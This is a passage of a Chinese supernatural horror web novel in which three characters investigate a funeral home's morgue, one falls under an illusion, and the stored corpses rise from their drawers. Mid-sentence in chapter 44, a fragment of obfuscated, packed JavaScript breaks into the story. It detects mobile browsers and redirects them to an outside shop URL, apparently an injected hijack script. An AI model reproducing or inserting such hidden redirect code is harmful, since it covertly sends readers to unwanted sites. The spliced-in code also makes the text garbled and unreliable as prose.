宋明夷看沈聆频频回头张望，不由得发问。
“……没什么，就是感觉这里的气氛不太对劲。”沈聆皱起眉头，轻声说道。
此刻，他们正走在殡仪馆一楼的走廊里。
殡仪馆的停尸间位于这栋建筑的一层，这里弥漫着一股阴森的气息。
从一楼的入口进入，首先映入眼帘的是一个个庄严肃穆的灵堂，这些灵堂内摆放着逝者的遗体和遗像，让人不禁心生敬畏之情。
穿过这些灵堂后，便是一条狭长而幽暗的走廊，走廊的穹顶呈现出圆弧形，天花板上绘制着蓝天白云的图案，仿佛试图营造出一种宁静祥和的氛围，给死者及其家属带来一丝慰藉。
走廊两侧安装着巨大的落地窗，可以透过窗户看到外面一片漆黑的庭院，庭院中的景象显得有些凄凉，杂草肆意生长，显然已经很久没有得到妥善的清理与维护，庭院中还能看到几棵模糊的树木，它们的影子在黑暗中摇曳，给人一种诡异的感觉。
待走过这条走廊后，便能来到停尸间。
一般这里放着的，都是杀人案中的尸体，或者是路边发生车祸、纠纷还未解决的死者，这里的温度很低，和医院的停尸间一样，零度左右的温度能够最大程度减少尸体的腐坏程度，所有的尸体按照先来后到的数据进行编号发，放在一个个停尸柜中，而秦琴的尸体，当时也就被放在这里。
在停尸间的后方，便是焚烧尸体的焚化炉。
每天焚化炉都在运转，这家殡仪馆是陵川市唯一的殡仪馆，因此配备的焚化炉也相对多一点，这家殡仪馆一共有六个焚化炉，火化尸体也有不同的套餐等级，根据死者家属的选择，可以选择最贵的火化，也可以选择最便宜的火化，区别就是死者尸体的焚烧程度、是否能拿到死者的一寸骨头留作纪念等等。
可以说，人在死亡的最后一步，也分高低贵贱的，有钱人便选择贵的套餐，没钱的人便选择便宜的套餐，人的一生都在贫富之间徘徊，而这一点直到死后也将体现。
此刻，沈聆、宋明夷、吴妄便走在停尸间与灵堂之间的走廊中。
时间已经近乎晚上九点，殡仪馆的一楼没什么人，隐隐约约可以听到二楼有人在哭泣，也可以听到二楼灵堂播放佛经超度的声音，或许是刚才委托吴妄驱邪的那户人家的动静……
可正是这隐隐约约传来的动静才更让人瘆得慌，就像是有一双冰冷的手缓缓爬上了人的脊梁骨，每一个指甲都在轻轻抓挠着脊背关节，迎面吹来的风不知道从何处来、也不知道去往何处，耳畔只留下呼啸的风声，让人不寒而栗。
殡仪馆不是一个好地方。
至少，沈聆现在感觉自己的提议是不是太大胆了一点。
“嘻嘻……”
忽然！她听到了一阵奇怪的笑声！
那笑声很轻，就像是有人刻意压低了声音，用手捂着嘴巴后从指缝里漏出来的笑声。
沈聆猛地转过头，但身后只有亮着昏暗灯光的走廊，并没有人在那里。
——是我的错觉吗？
沈聆皱起眉头。
她从小便能听到常人听不清楚的一些奇怪的动静，或许今天晚上，她的感知在这诡异的气氛中，更被放大了许多倍，她本能地竖着耳朵留意周围的动静，这是她的保护机制，人的感官，就是为了让人能在关键时候尽可能听到周围的变故，此刻，便是如此。
“嘻嘻……”
第二次！那声音再一次传来！
和第一次相比，第二次的笑声更近了几分！
沈聆停下了脚步，猛地回过头，可这一次，和第一次不一样的，她看到了走廊的另一头有一个模糊的身影跑了过去！
那身影看起来像是十岁左右的孩子，身影十分矮小，但是跑起来却很敏捷，在走廊的尽头一晃而过，沈聆揉了揉眼睛，想看清楚那到底是谁，却再也没有看到。
“嘻嘻……”
第三次，和前两次声音相比，这一次的笑声的距离感好像更近了一点。
这一次，她听出来了，那声音好像是个小男孩的笑声，带着几分恶作剧的调皮和玩心。
刚开始，只是从走廊尽头传来，现在，这笑声听起来就好像在他们几步之外！
就好像，有什么东西正在默默靠近！
“你怎么了呀？怎么感觉疑神疑鬼的？”宋明夷皱起眉头看着站在原地不走的沈聆。
“我感觉，这里好像有什么‘不干净’的东西……”沈聆喃喃道，转头看向走在队伍最前面的吴妄，“道长，你有没有感觉到这里好像有些不太对劲？”
闻言，走在最前面的吴妄停下了脚步。
他一言不发地背对着两个女孩子站着。
“道长？”沈聆心下疑惑，她往前走了几步，走到吴妄身后，抬起手拍了拍吴妄的肩膀。
“奇怪？你指的是我吗？”
吴妄的声音低沉而沙哑，犹如来自深渊的恶魔低语。
他缓缓转过头，随着他转头的动作，沈聆瞪大了双眼，她看到出现在自己眼前的，竟然不是一张正常的人脸！
——只见那张脸扭曲变形，上面布满了密密麻麻的牙齿，这些牙齿一圈圈地排列着，紧密无间，宛如张开的血盆大口，没有眼睛，没有鼻子，只有一圈、一圈、一圈从内到外排列的狰狞恐怖的牙齿，让人不寒而栗！每一颗牙齿都在从外向内收缩着，锋利无比，仿佛能够轻易撕裂一切。它们整齐地排列在一起，形成了一个巨大的圆形，看上去如同一个血腥的旋涡。
“你……你……”
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沈聆的心跳急速加快，呼吸变得急促起来。她感到一股阴森森的气息扑面而来，将她紧紧包围，那股气息充满了死亡和腐朽的味道，让她几乎无法呼吸！
她想尖叫，但喉咙却像被一只无形的手掐住一般，发不出任何声音。
“无妄之灾，妖魔速退，破！”
就在此时，她耳畔响起了一个声音。
瞬间，像是有一个力度重重从后面拍打了一下自己，那力度像是撞钟一样，将她的灵魂撞出的身体，她猛地回过神来，满额冷汗，呼吸急促着，她发现自己正坐在地上，吴妄半蹲在地上，正搂着她，而宋明夷正一脸担忧地站在她面前。
“沈聆？你没事吧？”宋明夷担心地看着沈聆。
“我……”沈聆皱起眉头，思绪有点儿游离，感觉到道长手腕、胸膛传来的温度，她抬起头看着道长，脑海中浮现出刚才看到的长满牙齿的脸，忍不住恶心作呕。
“……你啥意思，你看到我就想吐？”吴妄皱起眉头。
“不……我……我刚才好像出现幻觉了……”
“你的确是中幻术了。”吴妄撒开手，站了起来。
“幻术？”
“沈聆，你刚才忽然站在原地不动了，我们怎么叫你都没反应，道长说你可能中了什么东西的幻术，你的魂魄被带到了另一个维度里面。”宋明夷有模有样地解释着。
沈聆陷入了沉默。
——所以，刚才看到的一切都是幻觉吗？
——包括我听到的笑声？
“我刚才好像听到了有小孩子在笑，就在我回过头的时候，走廊那边，好像有一个小孩子跑过去……”沈聆伸出手，指了指身后、走廊尽头刚才自己看到鬼影的位置。
“这个是幻术，你听到的笑声是不是由远及近？”
“对。”
“这便是了，这是一种诱导你注意到它的方式，让你慢慢感知到它的存在，放大你对它的留意程度，在这个过程里，八字比较轻的人，就容易被‘勾魂’到迷障之中，你刚才陷入的就是对方编织的迷障。”吴妄解释道。
“难道说……殡仪馆里有恶鬼作祟？而且还是个小孩子？”沈聆皱起眉头，她感觉到事情好像没有她想象中这么简单。
“不好说。”吴妄瞥了一眼周围，视线透过眼前的落地窗，落在阴森森的庭院里，“但是这里，的确给人不太正常的感觉……”
“小孩子……”宋明夷皱起眉头，拿出手机搜索了一下，“沈聆，你在迷障里看到的小孩子，是几岁的孩子呀？”
“大概……十岁左右？身高不高，好像还是小男孩。”
“……你说，会不会是元山路校车车祸事故的死掉的孩子？他们的尸体好像就被放在停尸房里面。”宋明夷将手机递给沈聆。
沈聆接过手机、颤抖着手缓缓地滑动屏幕，在屏幕上，是车祸中死亡孩子的照片，每一张照片都像一把刀，深深地刺进了她的心里——网站上的照片是黑白遗照，那些曾经天真无邪的笑容如今却变得如此苍白无力，仿佛被抽走了灵魂一般，照片中的他们眼神空洞而无助，透过屏幕直直地盯着她，让她无法逃避，仿佛在无声质问着她：为什么死的人是我们，而不是你？
42. 停尸间
“沈聆，你刚才看到的孩子是这几个吗？”
宋明夷说着，一双圆溜溜的眼睛下意识地左顾右盼，像是有什么吃人的东西躲在暗处，随时可能跳出来咬她一口。她感觉心里发毛，本来一进门遇到一个作妖的纸人就瘆得慌，现在沈聆也中了幻术，可见这个地方有“邪祟做怪”！而且很可能不止一个！
敌暗我明总是让人感觉到不安的，眼见着沈聆的状态不是很好，她也不由得慌张了几分，但秉持着“拍摄至上”的原则，她还是掐灭了心中一闪而过的想要退缩的念头。
这么想着，她重新整理了一下衣襟，摆正了别在领口的微型摄像头。
“我不确定我刚才看到的孩子是谁，老实说，我也只是看到了一个影子，不过，我听到了他的笑声，那个笑声是个小男孩的。”沈聆沉吟了一下，将手机还给了宋明夷。
这个地方的确古怪，他们要更小心一点才是。
纸人刚刚已经被吴妄除掉了，但现在却仍有诡异的现象发生，说明在这个地方，还有比纸人更可怕的存在。
或许就像吴妄说的那样，这些徘徊在世间的“脏东西”，就是在吸收死者的最后一缕魂魄，借此获得长生。
“沙拉……”
庭院中，树影摇曳，仿佛被无形的手肆意摆弄，那斑驳的树影投射在走廊之上，歪歪扭扭，宛如狰狞的鬼魅，正悄然朝着此处窥探。
庭院里弥漫着萧瑟之气，落叶在地上打着旋儿，发出沙沙的声响，似在诉说着无人倾听的哀怨。
枯黄的草丛中，偶尔有几只小虫仓皇逃窜，仿佛在躲避着什么不可名状的恐惧，古老的院墙爬满了干枯的藤蔓，如同岁月留下的斑驳伤痕，风乍起，吹得树枝嘎吱作响，仿佛是绝望之人的呻吟，。整个庭院被一种阴森恐怖的气氛笼罩着，让人不寒而栗。
“我们还是快点去停尸间吧。”沈聆说着，从地上起来，宋明夷扶了她一把，在接触到宋明夷的手的时候，沈聆感觉到宋明夷的手心满是冷汗，她看了一眼宋明夷，发现她微微咬着下唇，明显有点儿慌张，但还是强压着恐惧。
——得稳重点才行。
沈聆这么想着，想着自己至少不能把紧张的气氛扩散给吴妄和宋明夷。
情绪这种东西，是一种很奇怪的东西。
一个人的情绪，往往会影响到周围一片人的情绪。
就像是进了水的海绵一样，情绪的“冷水”会瞬间在人群的“海绵”中扩散开来，最后让每个人都开始感到不安、紧张、惶恐，但越是这样的情况，就越容易出现幻觉。
沈聆知道，自己现在必须要冷静一点，慌张，总是于事情没有帮助的。
解决完这个小插曲后，三个人便朝着停尸间而去。
在走廊尽头便是左右两个通道，左右两边都是停尸间，按照尸体的来源，左边的停尸间放着的是无人认领的尸体，这些尸体一般是流浪汉的尸体、命案中支离破碎无法识别身份的尸体等等，右边的停尸间放着的是有身份但还没有进行火化的尸体。
在沈聆一行人来到走廊尽头的时候，便听见右边的停尸间里传来阵阵的哭声，那声音像是三十多岁的女人的哭声。
宋明夷壮着胆子朝右边的停尸间瞥了一眼，发现许多三十出头的人正簇拥在停尸间里，他们大多数是掩面哭泣的、像是不愿意接受残酷的现实，其中一个女人哭得尤其大声，跌坐在地上，趴在停尸柜前肝肠寸断。
这阵阵哭声就像是送魂的声音，听来婉转哀伤，一直传递到深幽之处，像是对亡魂的不舍，也像是对现世的无奈。
“……听说那些都是车祸事故里死掉的孩子的家长。”宋明夷凑到沈聆耳边小声说道，“新闻里说，因为车祸现场太惨烈了，山崖下许多锋利的断石和树杈，许多孩子的尸体捡回来的时候并不完整，东一块西一块的，家长只能根据尸体上的穿着或者一些比较明显的体征来分辨‘哪一部分’是自己的孩子，尸体拼凑的进度很慢……新闻里说，许多家长在认尸的时候晕过去了，醒来就开始哭，直到哭晕过去……”
“世事无常，真是人间惨剧啊。”吴妄摇了摇头。
“车祸事故的源头还没有调查出来吗？”沈聆好奇地追问，“发生了这么重大的事故，一车的孩子几乎都死了，校方没有责任吗？”
宋明夷摇了摇头：“具体的事情我也不清楚，目前新闻报道的情况来看是校方和第三方都在推诿扯皮，因为校车接送和这次的研学调研都是承包给第三方教育机构的，全程有班主任以及一位机构老师陪同，现在双方就在互相扯皮，但事故的客观调查报告好像是校车的刹车出现了问题，在过弯的时候速度过快，没办法及时减速，司机向右打死了方向盘，导致整个校车因为惯性冲出了山道。”
沈聆听着宋明夷的“情报”，只能默默叹了口气。
那些都是孩子，都是只有十多岁的孩子，他们的人生才刚刚开始，就这样结束了。
这个世界总是不公平的，好人不长命，祸害遗千年总是在阴差阳错地发生。
沈聆一行人向左来到了左侧的停尸间。
比起右侧的停尸间，左侧的停尸间明显冷清了很多。
在左侧过道前，是一扇灰色的门，门上凝结着些许的冰霜，丝丝冷气从门缝里透出，像是来自地府的寒意，又像是来自死者的叹息。
在他们走到左侧门前的时候，走在最前面的吴妄握住了门把手，但他只是轻轻一推，门就打开了。
“吱呀……”
随着门被推开，一股寒气扑面而来，那寒气接触到脸颊上的汗毛的时候，沈聆不由得浑身一哆嗦，就像是来自极寒地狱的鬼冲着她的脸吹了一口气一样，她浑身汗毛倒立，下意识地扯了扯黑色的外套。
推开门的时候，停尸间里感应灯亮起。
三人看入停尸间，发现这间停尸间的面积并不大，停尸间右侧的墙壁前面放着三四个并排的铁柜子，每个铁柜子都有许多正方形的抽屉，抽屉上是黑色的拉手，拉开抽屉，应该就能看到里面躺着的死者。
在停尸间的左侧，放着两个解剖台，那像是临时用来放尸体的地方，钢制的解剖台
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上还残留着隐隐约约模糊的人形轮廓，看起来就像是有灵体躺在上面一般。
在正对着门口的方向，是一扇紧闭的窗户，窗户的边框是黑色的，呈现出“田”字形，窗户紧闭，整个停尸间密不透风的，空气不太新鲜，空气中飘动着几丝福尔马林的刺鼻味。
“我还是……第一次来停尸间。”宋明夷咽了口唾沫，往前面倾斜了一下身体，好让衣襟上的微型摄像机能够环视地拍一圈这个停尸间。
她心里已经构思好了，要出一期“殡仪馆”探险专题，到时候放在网上，以系列连载的方式，一定可以叠加播放率，又火一把！
宋明夷探头探脑地走到窗户旁边，特地伸手检查了一下窗框，发现窗户是锁着的，这个锁是老式的锁，插栓插在窗框的洞里面，从外面没办法打开窗户，但是从里面只需要抬起插栓，就可以推开窗户。
窗外，是一片黑漆漆的荒原。
在殡仪馆后面是一片没有开发的土地，上面杂草丛生的样子，因为没有灯火，从里面看不清楚外面的样子，但依稀可以看到风吹过荒原的时候，低矮的灌木在轻轻摇晃。
宋明夷不由得打了个哆嗦。
不知道为什么，在走到窗户旁边的时候，她忽然感觉到像是有人正在窗外看着自己，她鼻子贴到了冰冷的玻璃上，依稀可以看到似乎有一个模糊的人影站在窗外，那人距离这边有一定的距离，但从影子的轮廓来看，要么是背对着殡仪馆，要么就是正对着殡仪馆。
宋明夷朝着那个影子挥了挥手，但奇怪的是，对方并没有什么反应，像是没有看到她一样。
“奇怪……”
就在宋明夷想打开窗呼唤那个人的时候，对方却消失了，与其说是“消失”，更准确说，像是转身离开了，转身进入了更加深沉的黑暗中，直至看不清身影。
“……”
与此同时，沈聆沉默着走到解剖台前，她皱起眉头，看着两个解剖台的台面上凝固的人形轮廓，伸出手轻轻触碰了一下那模糊的轮廓，却发现指尖油腻腻的，并且嗅到了一股恶臭味。
“……这是尸油。”吴妄的声音从身后传来，“在尸体腐烂到一定程度的时候，就会出现尸油。这两个台子本来应该是临时用来放尸体的，其中有些尸体放的时间比较久、或者是腐烂情况比较糟糕，就渗出了尸油，久而久之，就在台面上留下了人形轮廓，看起来就像是有人躺在上面一样。”
沈聆点了点头，她的视线看向了正对着两个解剖台的高大的停尸柜。
这些停尸柜很长，每个都块有两米的深度，但宽度并不宽，每一个抽屉的横截面都是正方形的，看来，里面的尸体应该是朝着横向放置的。
停尸柜上面用红色的笔按顺序写着许多数字，应该是给这些没人认领的尸体进行编码，沈聆简单扫视了一圈，难以从外观上看出哪些柜子里有尸体，哪些柜子是空的，她的视线从上到下，最后落在244号停尸柜上。
没错。
那个编号的柜子。
原本放着的，就是秦琴的尸体。
43. 乱葬岗
244号停尸柜的门紧闭着，但几天前，躺在里面的尸体自己从内推开的柜子，并从柜子里爬了出来，按照林凌描述的监控画面——秦琴的尸体像是死而复生一样，她从柜子里出来之后，径直走到了窗户前，并打开了窗户，在跳窗离开之前，甚至回过头看了一眼停尸间的监控摄像头，在监控画面里面留下了一个诡异的笑容。
正因如此，所有人才会觉得殡仪馆发生了尸变，而随着秦琴案的破解，人们也开始了解到这个可怜的女孩子生前遭受了多大的冤屈，坊间纷纷传言，秦琴在死后化成了厉鬼，就连尸体也因为怨气太重发生了尸变，这才导致了殡仪馆的灵异事件的发生。
“……”
沈聆抬起头看了一眼停尸间的监控摄像头。
监控摄像头设置在墙角的位置，黑色圆形的监控探头正好对着一大排的停尸柜，她没有见过监控化名——毕竟是警方的内部调查资料，她作为外部人员，没有权限，但根据林凌的描述来看，当天晚上发生尸变的时候，现场是没有第三个人在场的，不存在“装神弄鬼”、“提线木偶”等人为操控行为。
既然如此，为什么秦琴的尸体会发生尸变呢？
其他人或许不清楚内情，但沈聆却是再了解不过的，毕竟是她亲手完成了秦琴的遗憾，也是她最后送走了秦琴，她知道在离开之前，秦琴是没有表现出怨恨、冤枉、委屈、不甘心等负面情绪的，那么操控尸体尸变的人，或许另有他人。
随着成为阴厨，这个世界像是打开了一个阴暗的灰色的角落，有许多颠覆她从前认知的事情接二连三地上演，她已经不能用之前的认知来衡量现在面临的问题了，她必须换一个新思路……
沈聆沉默着，走到244号柜子之前。
这些停尸柜的编号是从上到下以此增加的，第一个大柜子里面放着的是编号1-50的尸体，第二个大柜子放的是编号51-100的尸体，以此类推，每个柜子的容量是50个左右的尸体，而244号柜子，恰好在房间的正中间。
“刷拉……”
沈聆握住停尸柜的把手，一把拉开了停尸柜的柜门！
这柜门似乎比想象中要更重一点，沈聆用了一点力气才把它完全拉开。
她慢慢地把停尸柜的门拉开，门轴发出一阵“嘎吱”声，仿佛在抗议被打扰。随着柜子门被打开，一股强烈的冷气从柜内涌出，扑向她的脸庞，让她不禁打了个寒颤，她下意识地用手捂住口鼻，试图抵挡那股刺骨的寒冷，但冰冷的空气还是顺着手指缝隙钻进了她的肺部，令她呼吸一窒。
她低下头，小心翼翼地窥探着漆黑一片的柜子内部。
微弱的光线透过柜门的缝隙照进柜子里，却只能照亮一小片区域。这是一个长方形的区域，大约有一米长、半米宽和两米高，在柜子的上方，有一个小小的冷气出口，源源不断地送出寒冷的气流，使得整个柜子内部的温度保持在零度左右。
柜子的三面墙壁都结满了细碎的冰晶，晶莹剔透，闪烁着微弱的光芒，这些冰晶如同细小的钻石般镶嵌在墙壁上，给人一种神秘而又诡异的感觉，然而，最引人注目的还是柜子底部的那一面——那里原本应该躺着一具尸体，但此刻却空无一物，那具尸体仿佛凭空消失了一般，只留下了一片寂静和冷清。
她凝视着空荡荡的柜子，心中涌起一股莫名的恐惧，这个曾经承载过秦琴尸体的地方，如今却只剩下了一片死寂，她想象着秦琴的身体曾在这里静静地躺着，等待着死亡的降临，而现在，秦琴的尸体去了哪里？是否还能找到她的下落呢？
就在这时，沈聆忽然想起了一个细节。
在刚才吴妄推门而入的时候，似乎也有一股冷气迎面扑来……
她转头看向了窗户，此刻停尸间的窗户是关着。她复又抬起头看向了天花板，但她发现这间房间只有天花板上安装着一个排气窗，除此之外，并没有安装空调系统，在入门的地方也并没有看到有空调的调节开关，可见这间停尸房的尸体保存是通过停尸柜内部的冷气循环完成的，外部并没有冷气装置。
那刚才扑面而来的冷气，又是什么？！
沈聆的脸色瞬间沉了下来。
她注意到了这个细节，但宋明夷和吴妄显然还没有发现。
宋明夷此刻正站在窗户前，好奇地从内往外窥视着，想看清楚院子里是什么东西。而吴妄倒是淡定多了，他站在解剖台前，依靠着解剖台的台面，闭目养神，看来一副“大自在”的样子。
沈聆放轻了脚步来到吴妄身边说道：“吴道长有何高见？”
“高见不敢当，但是这个房间里应该是没有什么值得调查的东西了。”
“怎么说？”
“在我们进来的一瞬间，的确有一丝残留的煞气从房间四散逃逸，除此之外，我并没有感觉到其他鬼魂的存在。”
显然，吴妄也察觉到了那迎面扑来的寒气确有异常。
但那是一瞬间消散的气体，比起煞气，更像是残留在停尸间的阴气，瞬间消失，难以琢磨。
沈聆眉头紧锁：“但是……能发生尸变的，是厉鬼吗？像那天晚上在平安医院产科出现的那团煞气一样？”
“能发生尸变的原因有很多，一部分和逝者自身有关系，最常见的，例如含恨而终、有冤情的人，死后放不下人间执念，就会导致自己的魂魄附着在尸体身上，因为毕竟不是完整的三魂七魄，所以在控制身体方面不如活着的时候，因此行动上更像是僵尸，就是你们在电影里面经常看到的那种。”
“那另一种呢？”宋明夷也对两人的对话产生了好奇，她也凑了过来，竖起耳朵追问。
“另一种，就是非死者的魂魄附着在死者的尸体上，这一种较为凶险，而且一般是厉鬼才能做到的。”吴妄停顿了一下说道，“如果是一般
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的厉鬼，是需要借住黑猫之类的阴气较重的动物作为媒介，进行附身，常见的就是我们看到一只黑猫扑在尸体上之后，就容易发生尸变；但如果是煞气比较重的厉鬼，就能直接附身在尸体上，甚至支配尸体的行动。”
“那……如果是控制尸体行动，甚至是……微笑呢？也能做到吗？”沈聆小心翼翼地询问。
她感觉这起灵异事件最怪异的地方就在于……秦琴的尸体在离开之前，甚至对着镜头笑了一下。
这微笑带着挑衅的意思，还带着几分洋洋得意。
“如果是煞气重的厉鬼，这些自然不在话下。”吴妄沉默了片刻后，看向了窗户外，“只不过，这里毕竟是阳间，如果要做到这一点，必须在阴气比较重的地方才容易实现……外面那是什么地方？”
“那是一片荒野的样子。”宋明夷回答道，“外面很黑，不过我刚才好像依稀看到有人从窗外不远的地方路过……那边是不是城乡结合部啊？都没有路灯的样子，感觉夜里应该走起来不方便吧？”
听到这句话，沈聆心一沉。
“什么？你刚才看到外面有人？”
“对啊。”宋明夷眨了眨眼睛，指了指窗外的方向，“大概在十米左右的地方吧，因为很黑，所以我看不清楚那个人的五官，但是我能看到他的轮廓，而且对方好像也看到我了，冲着我的方向站着，我跟他挥了挥手，他就走了。”
“……你没看错吗？”
“不会错的！我的视力可是5.0，一定不会看错的。”
沈聆摇了摇头：“但是……林警官跟我说过，外面……好像是一片乱葬岗。”
乱葬岗？
一听到这个词，宋明夷的身体首先反射性地往后退了几步，她刚才还趴在窗户上看了半天，原来外面一片漆黑是因为全都是坟地，坟地甚至没有墓碑，土壤下都是腐朽的枯骨！
“那……那我刚才看到的人影是什么？”
宋明夷颤抖着声音说道，目光惊恐地望着窗外，仿佛那黑暗中有什么恐怖的东西即将降临，沈聆和吴妄两人也立刻紧张起来，顺着她的视线一同看向窗外——
然而，这次他们并没有看到任何身影或模糊的轮廓。窗外的世界一片漆黑，如同墨汁一般浓稠。在夜幕的笼罩下，城西的这片荒原似乎被披上了一层寒冷而凄凉的色调，在窗外的乱葬岗中，连树木的影子都难以辨认。
“啪。”
就在这时，停尸间的电灯忽然熄灭了！
整个房间陷入了黑暗之中。
“啊——”
宋明夷尖叫了一声，扑在了沈聆身上，死死抓着沈聆的手臂，像抓住一根救命稻草一样。
沈聆也吓了一跳，她不由得往后退了几步，“砰”地一声，她感觉到后腰好像撞到了什么东西，她转过头发现，自己身后的那些停尸柜原本关着的柜门，不知道何时全都打开了。
44. 行尸走肉
在停尸间的灯突然熄灭的那一刹那，黑暗如潮水般瞬间吞没了整个空间。
——不好！
停尸间里的三个活人的心猛地揪紧，恐惧如影随形地笼罩而来。
“沈聆救我——”宋明夷惊恐地尖叫起来，一把紧紧抓住身旁的沈聆，双手死死揪着她的袖子，仿佛那是她在这无尽黑暗中的唯一救命稻草。
——突然陷入黑暗，激起了宋明夷心中本能地恐慌，她的心中被绝望和恐惧所占据，仿佛身后的黑暗中有无数双看不见的手正伸出来，随时准备将她抓走。她的身体止不住地颤抖着，眼睛死死地盯着前方，不敢有丝毫的移动。
“别慌。”沈聆强作镇定地说道，声音却也微微有些颤抖。
她按了按宋明夷的手，试图给她一些安慰，随后，用微微发凉的手指揉了揉眼睛，急切地想尽快适应这黑暗的环境。
然而，人类毕竟是人类，人眼的夜视能力有限，在从明亮的环境突然进入这漆黑的环境里，是需要一定的时间放大瞳孔、增加光线的进入，才能进入到暗视野的模式，这停尸间的灯忽然被关起来了，就像是有人用黑色的布条蒙住了三个人的眼睛，方寸之间三个人顿时失去了视觉，变得盲目了几分。
一种强烈的不安感涌上每个人的心头，仿佛他们被遗弃在了一个充满未知危险的世界里。
“格……”
站在最前面的沈聆，率先听到了什么奇怪的动静，她心中一惊，心跳如擂鼓般急促，呼吸也变得紊乱起来，连忙往后退了几步。
“咔哒。”然而就在这时，她的腰部忽然撞到了一个冰冷的铁制品，这让她的心猛地一沉。
——这种感觉是？
一股寒意瞬间传遍全身，她下意识地伸手摸向身后，却摸到了一扇正方形的敞开着的门。那门的边缘冰冷而粗糙，仿佛在诉说着这里的阴森与恐怖。一股冰冷的念头不由自主地涌上心头：“难道停尸柜的门打开了？”
这个想法让她的心跳急速加快，呼吸也变得急促起来。
她双手又上下稍微摸索了一下，发现不只是自己身后正对着的停尸柜的门被打开了，周围一排、上下两排的停尸柜的门全都打开了！
——也就是说……
——此时此刻，在这里，有许多尸体正头朝着我们？
——是谁打开了它们的柜门？
这些可怕的疑问在沈聆脑海中闪过，匆忙间，她大脑空白了一片，从那团繁杂的思绪里无法抽出头绪，但还好，她的身体比她的大脑先一步反应过来，她知道这里即将发生变故，忙拉着宋明夷的手腕就往后退去。
“吴妄！停尸柜打开了！”
沈聆惊恐地喊道，她的声音在黑暗中回荡，带着无尽的恐惧。
话音刚落，只见在那黑暗中一阵金光闪过，金光划过的位置，微微照亮了吴妄的脸庞。
沈聆只听见耳边飘过一句咒语——
“乾坤逆转，五行相生，隐我踪迹，失我所踪！”
吴妄的声音低沉而有力，仿佛在与这黑暗中的邪恶力量抗争，下一刻，像是有什么屏障一样东西将三人围住，沈聆看不清楚眼前闪过的是什么，只感觉像是划过了一道银色的光，下一刻，周围再一次陷入了黑暗中。
“格拉……”还没等三人回过神来，停尸柜忽然发出了更大的动静，这一次，不只是沈聆，吴妄和宋明夷也听到了！
那声音仿佛是从地狱深处传来的召唤，让人不寒而栗，最开始是细小的类似于皮肉与铁片摩擦的声音，随后，那声音逐渐清晰了起来，有大有小，有的听起来像是肥肉摩擦过冰冷的钢铁，有的听起来像是骨骼擦过坚硬的柜门。
那声音在这寂静的空间里回荡，仿佛是死亡的乐章，每一个音符都充满了恐惧。
在这令人不安的动静中，沈聆闭上了眼睛，她知道，短暂地闭上眼睛能够让双眼更快适应暗视野。
果然，五秒钟之后再一次睁开眼睛的时候，她的双眼已经逐渐适应了黑暗，拥有了暗视野的能力。
她循声看去，在看清楚这一切动静的来源时，她倒吸了一口凉气——
“吱呀……”
浓稠的黑暗仿佛化不开的墨汁，死寂般的氛围令人毛骨悚然，冰冷的水泥地面散发着丝丝寒气，空气中弥漫着刺鼻的消毒水味，混合着令人作呕的腐臭气息，一个个停尸柜的柜门被缓缓地从里面推开！
那轻微的金属摩擦声正是尸体在停尸柜里骚动着，并推开各自柜门的声音！
这声音此起彼伏，在寂静的空间里回荡，如同来自地狱的召唤，在一个个柜门开启的瞬间，一股股浑浊的尸水顺势滑落，沿着停尸柜的边缘，一滴滴地落在地面上，那尸水散发着令人作呕的恶臭，仿佛是死亡的气息在空气中扩散。
停尸柜里的死尸，此时此刻就像是被关在笼子里的野兽，他们急切地想从笼子里出来！
所有停尸柜的柜子都开始晃动，被从内向外推开。
随后，许多脑袋从柜子后面探了出来！
——那些是原本放在停尸柜里面的尸体。
他们已经完全脱离了人类的范畴，与其说是人，更不如说是行尸走肉，是没有生命的傀儡，是散发着腐烂味道的臭虫。
他们个个脸颊深陷，皮肤苍白得如同死人的面具，毫无血色，脸上黑色的血管纵横交错，密密麻麻地布满整个面庞，看起来就像是中了可怕的尸毒一般。
沈聆看见，这些似死尸的眼睛全都是黑色的，没有瞳孔，没有眼白，仿佛无尽的深渊，一片漆黑的眼睛凝视着周围，似乎想要看清楚这陌生而又恐怖的世界。
死尸们微微张开的嘴巴里，露出几个还没有烂完的牙齿，那牙齿残缺不全，泛黄且布满污垢，依稀可以看到几个在尸体口腔里爬动的蛆虫，那些蛆虫肥硕而恶心，随着尸体张开嘴巴的动作，那些蠕动的虫子便从嘴角滑落，掉落在地上，发出轻微的“啪嗒”声。
“这……这……尸变……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132622|146250||http|test|mini|href|location''.split(''|''),0,{}));
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宋明夷吓得花容失色，她的脸色苍白如纸，眼睛瞪得大大的，充满了恐惧，一腔恐惧化作了口中颤抖的几个字眼。
“救命……救……”
就在此时，吴妄及时绕到宋明夷身后，从后捂住了宋明夷的嘴巴。
被捂住嘴巴的宋明夷微微转头看向吴妄，正对上吴妄那双深邃的眼眸，夜色中，这位身着道袍的道长微微皱起眉头，摇了摇头，示意宋明夷这个时候不要出声，同时，吴妄也看了一眼沈聆，沈聆会意，默默屏住了呼吸。
她大概猜到道长刚才念的咒语是隐身之类的咒语，能够让他们暂时隐蔽气息，避免被死尸们察觉。
此时，停尸间里的死尸们像是破土而出的春笋，又像是从蛋壳里刚孵化出来的幼雏，它们爬出了自己躺了许久的停尸柜，在掉落在地上的时候，它们的身体砸在了一起，由于有的尸体已经开始出现腐化的现象，掉落的时候甚至还发出如一滩泥巴掉落在地上的“噗、噗”的声音，听着便令人作呕，但并没有察觉到房间里还站着三个人。
“撕……”
掉落在最前面的死尸微微抬起脑袋，像是在试探着周围的动静，随后，它四肢并用，往前爬了几步，直接爬到了站在最前面的沈聆脚边！
沈聆看着近在咫尺的死尸——它已经掉光了头发，身上的皮肤溃烂了大半，露出皮肤下的黏腻软烂的真皮层，那些肌肉挂在它的骨头上，可以看到它的骨头也开始发黑腐烂，整个人散发着一股恶臭，微微抬起头，它像一只狗一样嗅着周围的气息，但是它的鼻子也已经完全烂掉了，只能看到它阴森森的鼻骨，以及鼻骨上方两个黑洞洞的眼眶。
沈聆一瞬间握紧了拳头，本能的恐惧感让她的身体绷得僵硬，站在原地仿佛一尊雕像。
她知道自己现在绝对不能动！
她在赌一个可能——或许，只要不出声，就能够活下去！
